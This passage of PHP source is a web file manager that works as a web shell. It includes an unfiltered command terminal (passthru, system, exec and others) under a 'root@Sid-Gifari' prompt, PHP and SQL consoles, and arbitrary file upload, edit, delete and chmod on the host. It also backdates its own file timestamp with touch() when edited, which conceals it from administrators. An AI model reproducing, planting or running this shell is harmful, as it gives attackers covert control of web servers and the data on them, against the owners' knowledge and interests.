} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>

</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
<?php
session_start();

// Allowed functions
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen'];

// Check if at least one is available
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

// Initialize cwd
if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Change directory if POSTed
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];
$output = "";

// Process terminal input
if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    // Handle cd
    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);

        if ($dir === '' || $dir === '~') {
            $dir = $_SERVER['DOCUMENT_ROOT'] ?? $cwd;
        } elseif ($dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }

        $realDir = realpath($dir);

        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }

    } else {

        if ($canExecute) {

            // Change working directory
            chdir($cwd);

            // Allow safe characters; do NOT break arguments
            $cmd = $cmdInput . " 2>&1";

            // PRIORITY: passthru first
            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);

            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);

            } elseif (function_exists('proc_open')) {
                $pipes = [];
                $process = proc_open($cmd, [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ], $pipes, $cwd);

                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }

            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }

            } else {
                $output = "Error: No command execution functions available.";
            }

        } else {
            $output = "Command execution functions are disabled on this server.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;
?>

<strong>root@Sid-Gifari:<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre><?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd" />
    <input type="hidden" name="path" value="<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute" />
</form>


</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     <?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     <?php } ?>
                    
		     </td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>


<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
